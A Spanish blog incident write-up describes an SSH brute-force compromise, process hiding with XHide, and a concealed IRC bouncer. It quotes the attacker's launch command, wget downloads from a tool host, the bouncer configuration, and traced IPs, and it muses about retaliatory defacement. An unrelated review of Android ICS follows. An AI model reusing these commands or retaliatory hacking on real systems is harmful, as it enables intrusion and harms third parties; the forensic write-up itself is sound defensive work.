Esta mañana he descubierto que desde hace unos días tenía a un cracker aprovechándose de mi servidor. Había entrado con una cuenta cuya password era la misma que el usuario (facepalm). El ataque ha sido por fuerza bruta contra el ssh, no le ha costado demasiado al atacante apenas unas tres horas de intentos consistentes en enviar combinaciones de mismo usuario/contraseña de una wordlist.

Una vez dentro ha sido más sofisticado, aunque dejando muy visibles sus rastros, no ha podido hacerse root y por tanto borrar los logs de acceso e intentos de hacerse superusuario en /var/log/auth.log:
Dec 19 05:03:37 barney sudo: miguelangel : user NOT in sudoers ; TTY=pts/15 ; PWD=/home/miguelangel ; USER=root ; COMMAND=/bin/bash

Las molestias que se ha tomado han sido para ocultar un bouncer de irc llamado miau. Usando un programa que ya tiene unos años, XHide - (Process Faker, by Schizoprenic Xnuxer Research (c) 2002), estaba cambiando el nombre del proceso y no se podía ver al hacer un 'ps aux', aunque sospechosamente aparecían bastantes espacios en la terminal.
Había dejado unos scripts en el cron del usuario que a su vez invocaban así el bot:
./h -s /usr/sbin/acpid ./miau -d /home/miguelangel/.gnom/adm/

Con este programa, haciendo un 'ps -u' o 'ps -p' se ve el nombre original:
# ps -u miguelangel
  PID TTY          TIME CMD
27263 pts/12   00:00:00 miau

Sin embargo, al hacer ps aux el nombre es un fake:
# ps aux | grep acpi
root        34  0.0  0.0      0     0 ?        S    Dec08   0:00 [kacpid]
root        35  0.0  0.0      0     0 ?        S    Dec08   0:00 [kacpi_notify]
root        36  0.0  0.0      0     0 ?        S    Dec08   0:00 [kacpi_hotplug]
root     13000  0.0  0.0   3864   768 pts/12   S+   21:19   0:00 grep acpi
1003     27263  0.0  0.0   2124   564 pts/12   S    20:29   0:00 /usr/sbin/acpid                                                                                                                                                                                                                                                 


-d /home/miguelangel/.gnom/adm/
root     27549  0.0  0.0   1704   460 ?        Ss   Dec13   0:00 /usr/sbin/acpid

La explicación de porqué ocurre esto podemos encontrarla en esta página. Básicamente, el programa realiza un fork() y tras ello una llamada a execv() pasando el nuevo program name como argv[0]. Según con que programa y parámetros se consulte el nombre de un proceso, obtendremos un nombre u otro.

Intentando localizar geograficamente el ataque puedo ver su login a través del log del ssh:
Dec 19 04:35:31 barney sshd[5767]: Accepted password for miguelangel from 188.72.230.79 port 54014 ssh2
La IP desde la que ha tenido acceso está hospedada en mi mismo proveedor en Alemania. Es hora de sacar al flanders que todos llevamos dentro y reportar a abuse. La resolución inversa de la IP nos lleva a un dominio, royalvip24.com, cuyo contacto está protegido por privacyprotect.org, por lo que no es posible obtener más info por aquí, aunque si podemos dejar otro reporte.

Ha cometido un error dejando activado el logging del bouncer. Consultandolo, puedo ver el host desde el que se conectó, en Rumanía. Es, posiblemente, la IP de su casa:
+ Client from '15-255-118-79.rdspt.ro'.
+ Authorization successful!

Comprobando los logs que ha dejado puedo ver lo que se ha bajado:
wget http://joe.sexyi.am/joe/bot.tgz
wget http://joe.sexyi.am/joe/miau2011.tgz

Vaya, parece que tiene un arsenal en http://joe.sexyi.am/joe/. En este momento no puedo implicar a los dueños de esta página como los responsables del crackeo, podría ser una página hackeada para dejar un repositorio de tools para uso posterior, pero voy obteniendo algunos datos. Está en un servidor gratuito y utiliza PHP Fusion como CMS.

Asimismo, esta es la configuración del bouncer que estaba escondida en un directorio oculto dentro de la home del usuario:

nicknames = {
      "Andrada"
      "bubuandra"
      "Fizia"
      "Greuz"
}
realname = "12 Miau By Andra :))"
username = "Fitza"
password = "O\jEGHr5nv.cw"
listenport = "41000"
servers = {
        "94.125.182.255":"6667"
        "208.83.20.130":"6667"
        "Vancouver.BC.CA.Undernet.org":"6667"
         "Amsterdam.NL.EU.Undernet.org":"6667"
        "bucharest.ro.eu.undernet.org":"6667"
        "Budapest.HU.EU.UnderNet.org":"6667"
        "Diemen.NL.EU.Undernet.Org":"6667"
         "Hamburg.DE.EU.undernet.org":"6667"
        "Lidingo.SE.EU.Undernet.org":"6667"
        "Chicago.IL.US.Undernet.org":"6667"
        "Montreal.QC.CA.Undernet.org":"6667"
        "newyork.ny.us.undernet.org":"6667"
        "Tampa.FL.US.Undernet.org":"6667"
}


channels = {
        "#bubu"
        "#Roberta"
        "#cservices"
        "#FCBarcelona"
        "#Pitestiu"
        "#ciumesti"
}

Nuestro cracker rumano es aficionado del Barça, ahora entiendo eso del "más que un club" :). Es hora de entrar en el IRC y hacer un poco de minning haciendonos pasar por el bot. Mmm, parece que no soy el único al que crackean, a esta tienda de camisetas de Bulgaria (sedem.bg) también le han instalado un bouncer:

* dfdfffdf (~Andra@sedem.bg) Quit (Registered)
* dfdfffdf (~Andra@Antonia.users.undernet.org) has joined #bubu
* micuta_ sets mode: +o dfdfffdf
* dfdfffdf is now known as andra`

Pero eso no es todo, en el canal #FCBarcelona promocionan en el topic la web http://www.djorkaeff.3x.ro/. ¿Que tienen en común esta web y http://joe.sexyi.am/? Si, de nuevo PHP Fusion. No es muy común que dos webs relacionadas con un crackeo compartan un CMS que no es popular como podría ser un wordpress, drupal o cualquier otro más conocido. Todo apunta a que ambas webs tiene relación con los culpables de los crackeos y no son simples víctimas ¿Estamos ante unos aficionados o están creando una botnet?

Llegado a este punto, tengo su IP y sus páginas web. Este cracker o grupo de crackers ya no son tan anónimos. Podría devolverles el ataque haciendole un deface de su web, ya que el CMS que utiliza tiene varias vulnerabilidades en plugins publicadas en el último año.


Durante estos días, la nueva versión de Android y el teléfono que acompañó su lanzamiento, el Samsung Galaxy Nexus, están sufriendo pequeños cambios.
La versión española, que comparte radio con la versión inglesa, ya ha tenido su primera actualización, que promete cambios en una mejora de la batería y la cobertura. Ciertamente, durante el primer día de uso del teléfono estuve preocupado, porque veía que los procesos en segundo plano marcados como Android OS estaban consumiendo más batería que la pantalla, algo que no es muy común. Además, el consumo de la pantalla también era bastante alto. Podría ser razonable pensar que es debido al consumo que se debe realizar para mover una pantalla capaz de dar 1280x720, pese a las mejoras que incluyen los modelos SuperAMOLED HD. Parece que esto ya se ha corregido en mayor medida y la duración de la batería es mejor que la del Nexus One.


Otro de los problemas que he encontrado es que en la configuración que viene de stock existe un problema con el desbloqueador de pantalla, y, pese a que el teléfono estaba bloqueado, era posible activar la barra de notificaciones y pulsar sobre el icono del menú de ajustes. Actualmente el problema se ha corregido parcialmente. Aún se puede activar la barra de notificaciones, pero la aplicación de ajustes se lanza por debajo del protector. Podemos verla en primer plano una vez que desbloqueamos el Galaxy Nexus, pero no hay bypass del paso de desbloqueo. Estos problemas sobre los mecanismos de desbloqueo se estan extendiendo últimamente, ya que ocurrió algo similar con el iPAD 2 y su tapa magnética.

Adobe Flash aún no está disponible, y aunque para muchos eso debería ser algo bueno, la realidad es que sin el, muchos de los sistemas de streaming no funcionan. Como comentan en los foros de XDA, se puede instalar el apk de un teléfono con Gingerbread provisionalmente hasta que esté disponible. Recordemos que ICS va a ser la última versión de Android que tenga Flash de Adobe oficialmente.


Las aplicaciones aún está adaptándose a Ice Cream Sandwich. Muchos de los programas más comunes no están todavía disponibles. Entre ellos, juegos como Asphalt 6 HD, están experimentando problemas con el sensor de rotación. Esperemos que los desarrolladores terminen de ajustar los programas.

El teléfono ya se puede rootear, existen varios métodos siendo el más sencillo el del SuperBoot, que tan solo requiere ejecutar una imagen desde fastboot, que instalará el comando su y el apk Superuser para proveer de permisos a las aplicaciones que lo requieran. En apenas unos minutos el teléfono queda rooteado.

Se han introducido pequeños cambios que pueden despistar incluso a usuarios que llevamos un tiempo viendo la evolución de Android. Los programas para realizar capturas de pantallas, que históricamente han hecho uso del framebuffer, se están encontrando con  que los accesos a /dev/fb0 muestran una imagen con todos los pixels en color negro. Tuve que hacer una búsqueda para informarme de que ahora, desde la propia rom se puede obtener un pantallazo cuando se pulsa simultáneamente el botón de apagado y el de bajar volumen.

Esperemos que dentro de muy poco, todos estos pequeños problemas se hayan corregido y podamos estar hablando de que ICS sea un referente en cuanto a sistemas operativos para teléfonos móviles.